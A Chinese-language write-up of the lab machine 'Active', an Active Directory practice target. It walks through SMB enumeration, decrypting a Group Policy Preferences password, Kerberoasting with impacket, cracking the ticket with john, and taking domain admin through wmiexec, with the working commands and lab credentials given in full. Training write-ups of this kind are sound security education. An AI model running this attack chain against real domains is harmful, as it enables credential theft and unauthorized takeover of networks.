Active Directory 101-Active

Active

前言

AD域的第三台靶机 用到了一些前面没有用到的技术。

信息收集

Nmap scan report for 10.10.10.100
Host is up (0.41s latency).
Not shown: 65512 closed ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-10-10 14:36:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49170/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

得到一堆信息 开放了端口 尝试进行SMB枚举。

SMB枚举

smbmap -H 10.10.10.100
image-20231205142255617

得到目标一共有7个SMB共享服务 其中可以匿名访问的为Replication

访问该目录

 smbclient //10.10.10.100/Replication -U ""%""

最后发现 SVC_TGS用户的账号和密码

image-20231205142522259
image-20231205142552158

GPP密码解密

每当创建新的组策略首选项 (GPP) 时,都会在 SYSVOL 共享中创建一个带有该配置数据的 xml 文件,包括与 GPP 关联的任何密码。为安全起见,Microsoft将密码存储为cpassword. 但随后微软在 MSDN 上公布了密钥!,微软在 2014 年发布了一个补丁,阻止管理员将密码输入 GPP。但是该补丁对已经存在的这些易破解密码没有任何作用。

由于密钥已经知道了 所以可以直接解密。

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
image-20231205142901856

得到了SVC_TGS的密码 GPPstillStandingStrong2k18 。

可以通过smb协议登录机器了。

将桌面上的user.txt下载下来就可以了。

image-20231205143333781

Kerberoasting

其实我一开始还不太熟悉 不知道用这个攻击 但是看提示问我 哪个账户容易受到Kerberoasting攻击,那么这里应该就是用这种方法了。这种攻击发生在TGS_REQ的阶段,KDC的TGS服务返回一个由服务Hash加密的STG给客户端。由于该ST是用服务Hash进行加密的,所以客户端拿到hash后可以进行离线暴破。有可能可以暴破出字典。

请求服务票据

这里用的是impacket请求 使用Rubeus或者mimikat应该都是可以的。

GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18
image-20231205144752165

离线破解

将票据内容保存下来使用工具破解。

我是直接复制下来创建一个文件 如果是mimikatz我记得是没法直接复制的。然后使用john破解 我感觉这个比hashcat快一些。

字典才用的是流传的rockyou字典。

image-20231205145054909
image-20231205145103531

成功破解出密码为 Ticketmaster1968

wmiexec.py administrator:Ticketmaster1968@10.10.10.100   
image-20231205145513572

成功拿到域管权限。

总结

这台靶机的还是比较轻松的,思路大概就是通过前期一个SMB服务可以实现匿名访问 然后发现了带有域内账号密码的的文件,通过公开的密钥将其密码破解了出来。这一步得到了域内普通用户的权限,后面通过Kerberoasting攻击得到域管的hash通过离线破解的方式可以得到密码得到域管权限。